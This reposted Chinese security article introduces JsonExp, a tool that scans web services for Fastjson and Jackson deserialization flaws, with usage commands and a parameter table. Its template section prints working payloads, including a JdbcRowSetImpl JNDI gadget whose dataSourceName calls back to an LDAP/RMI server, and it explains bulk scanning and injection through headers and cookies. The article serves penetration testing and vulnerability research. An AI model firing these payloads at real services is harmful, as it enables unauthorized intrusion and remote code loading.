[安全工具]JsonExp—Fastjson/Jackson反序列化漏洞自动化检测利器

admin 2026-06-22 04:11:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: JsonExp是一款针对Fastjson和Jackson反序列化漏洞的自动化检测工具,支持1.2.24至1.2.68+多版本利用链,提供LDAP/RMI/DNSLog/本地HTTP四种回连验证方式。工具具备智能参数注入、批量检测和响应相似度分析功能,可生成HTML报告,适用于渗透测试和漏洞挖掘场景。文档详细介绍了安装方法、实战命令参数及不同网络环境下的使用技巧。 综合评分: 82 文章分类: 安全工具,渗透测试,漏洞分析,WEB安全,红队


cover_image

[安全工具]JsonExp — Fastjson/Jackson 反序列化漏洞自动化检测利器

原创

niuko niuko

Ncko

2026年6月20日 09:30 安徽

在小说阅读器读本章

去阅读

[安全工具]JsonExp — Fastjson/Jackson 反序列化漏洞自动化检测利器

免责声明: 由于传播、利用本公众号Ncko所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


写在前面

Fastjson 和 Jackson 作为 Java 生态中最常用的两个 JSON 序列化/反序列化库,历年来爆出过不少反序列化漏洞。从 Fastjson 1.2.24 的 JdbcRowSetImpl 利用链,到 1.2.68 的 autoType 绕过,漏洞版本跨度大、利用链多,手动检测效率很低。

今天给大家分享一款开源工具 —— JsonExp,专门针对 Fastjson 和 Jackson 反序列化漏洞进行自动化检测,覆盖面广、使用门槛低,适合渗透测试和漏洞挖掘场景。


工具简介

JsonExp 是一款命令行检测工具,核心思路是通过构造不同版本的 Payload 注入到目标请求中,结合 LDAP / RMI / DNSLog / 本地 HTTP 四种回连方式验证漏洞是否存在。

核心特性一览:

  • • 多版本覆盖:支持 Fastjson 1.2.24 ~ 1.2.68+ 多条利用链
  • • 智能注入:自动识别 Body、URL 参数、Header、Cookie 四种注入位置
  • • 多种回连:LDAP / RMI / DNSLog / 本地 HTTP,适配不同网络环境
  • • 批量检测:单目标、多目标文件、原始请求包三种输入方式
  • • HTML 报告:自动生成可视化检测报告,支持搜索和相似度排序
  • • 响应分析:内置响应相似度比对,快速定位异常响应

安装方式

方式一:uv(推荐)

# 安装 uv
curl -LsSf https://astral.sh/uv/install.sh | sh

# 同步依赖
uv sync

# 运行
uv run python JsonExp.py -h

方式二:pip

pip install -r requirements.txt
python JsonExp.py -h

环境要求: Python 3.8+,依赖 requestspycryptodome 等。


实战用法

1. 单目标检测(LDAP 模式)

最常见的场景,配合 LDAP 服务监听回连:

uv run python JsonExp.py -u http://target.com/api/json -l 127.0.0.1:1389

2. 单目标检测(DNSLog 模式)

适合目标可出网的情况,无需自己搭 LDAP:

uv run python JsonExp.py -u http://target.com/api/json --dnslog true

3. 内网环境检测(本地 HTTP 反连)

目标在内网、无法访问外网时,用本地 HTTP 模式:

uv run python JsonExp.py -u http://target.com/api/json --local true -port 8080

4. 指定注入位置

有时候漏洞点不在 Body 里,可以指定注入位置:

# URL 参数注入
uv run python JsonExp.py -u 'http://target.com/api?auth=test' -p auth -l 127.0.0.1:1389

# Cookie 注入
uv run python JsonExp.py -u http://target.com/api -p Cookie -l 127.0.0.1:1389

# Header 注入
uv run python JsonExp.py -u http://target.com/api -p 'Header:Authorization' -l 127.0.0.1:1389

5. 批量检测

把目标写进文件,一行一个:

uv run python JsonExp.py -uf targets.txt -l 127.0.0.1:1389 -to 5

6. 使用原始请求包

从 Burp Suite 保存请求包,直接丢给工具:

uv run python JsonExp.py -req request.txt -l 127.0.0.1:1389

参数速查表

| 参数 | 别名 | 说明 | 示例 | | — | — | — | — | | -u | --url | 目标 URL | -u http://target.com/api | | -uf | --urlfile | 目标 URL 文件 | -uf targets.txt | | -req | --request | 原始请求包文件 | -req request.txt | | -f | --file | 自定义 Payload 模板 | -f custom.txt | | -t | --type | HTTP 方法(默认 POST) | -t get | | -l | --ldap | LDAP 服务地址 | -l 127.0.0.1:1389 | | -r | --rmi | RMI 服务地址 | -r 127.0.0.1:1099 | | -p | --param | 注入参数/位置 | -p auth-p Cookie | | -to | --timeout | 超时时间(默认 10s) | -to 5 | | -proxy | --proxy | HTTP 代理 | --proxy http://127.0.0.1:8080 | | -dnslog | --dnslog | DNSLog 检测模式 | --dnslog true | | -local | --local | 本地 HTTP 回连模式 | --local true | | -port | --port | 本地服务端口(默认 8080) | -port 9090 | | -pro | --protocol | 请求包协议(配合 -req) | -pro https |


Payload 模板机制

工具自带 Payload 模板(template/fastjson.txt),每行一个 Payload,# 后为注释。

模板支持注入方式标记:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$type$://$ip$/payload1","autoCommit":true}}&nbsp;#inject:body,&nbsp;Fastjson <=1.2.24
{"@type":"java.net.Inet4Address","val":"$dnslog$"}&nbsp;#inject:body,url,header,cookie DNSlog通用

标记规则:

  • • #inject:body — 仅 Body 注入
  • • #inject:body,url,header,cookie — 全方式适用
  • • 未标记 — 默认兼容所有方式

模板变量:

  • • $type$ — 协议类型(ldap / rmi / http)
  • • $ip$ — 回连服务地址
  • • $dnslog$ — DNSLog 域名

也就是说,你可以自己往模板里加 Payload,工具会自动加载和匹配。


检测结果解读

终端输出

检测过程中会实时输出每个 Payload 的测试详情:

[+] 注入方式:body,已从 30 个 payload 过滤为 26 个
[+] 测试URL:http://target.com/api/json
[+] 请求类型:POST
[+] 序号:1
[+] Payload: {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.127.0.0.1:1389/payload1","autoCommit":true}}
[+] 响应时长:0.08 秒
[+] 状态码:200 响应体大小:4 字节

相似度分析

检测结束后自动输出响应相似度比对,相似度越低越可能是异常响应

[+] 相似度分析(越接近0%越可能是异常响应):
序号#1&nbsp;| 状态码: 200 | 大小: 4B | 相似度: 100.0%
序号#2&nbsp;| 状态码: 500 | 大小: 1200B | 相似度: 23.5% <-- 异常

这个功能很实用,当你发了 30 个 Payload,大部分返回正常响应,突然有一个返回 500 且大小不同,相似度分析一眼就能看出来。

HTML 报告

检测完成后自动在 result/ 目录生成 HTML 报告,包含请求/响应详情和相似度分析,方便整理和归档。


实战场景总结

| 场景 | 推荐方式 | 命令关键参数 | | — | — | — | | 目标可出网 | DNSLog | --dnslog true | | 目标在内网 | 本地 HTTP | --local true -port 8080 | | 有 LDAP 环境 | LDAP 回连 | -l 127.0.0.1:1389 | | 有 RMI 环境 | RMI 回连 | -r 127.0.0.1:1099 | | 批量刷目标 | 文件输入 | -uf targets.txt | | Burp 抓包测试 | 原始请求包 | -req request.txt | | 漏洞点在参数里 | 指定注入位置 | -p auth-p Cookie | | 需要挂代理 | HTTP 代理 | --proxy http://127.0.0.1:8080 |


写在最后

JsonExp 这款工具覆盖了 Fastjson 和 Jackson 主流版本的利用链,四种回连方式基本能应对各种网络环境。Payload 模板可自定义扩展,相似度分析能帮你快速筛出异常响应,整体设计比较实用。

几个使用建议:

  1. 1. 先判断目标是否出网,出网用 DNSLog 最省事,不出网用本地 HTTP
  2. 2. 注意注入位置,不是所有接口都在 Body 里接收 JSON,试试 URL 参数和 Header
  3. 3. 合理设置超时,内网环境可以短一点(-to 3),外网适当加长
  4. 4. 善用相似度分析,即使没有回连成功,异常响应也可能暗示漏洞存在

获取工具: 请在公众号发送 JsonExp 或 FastJsonExp,即可获取对应链接。



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ncko niuko niuko《[安全工具]JsonExp — Fastjson/Jackson 反序列化漏洞自动化检测利器》

评论:0   参与:  0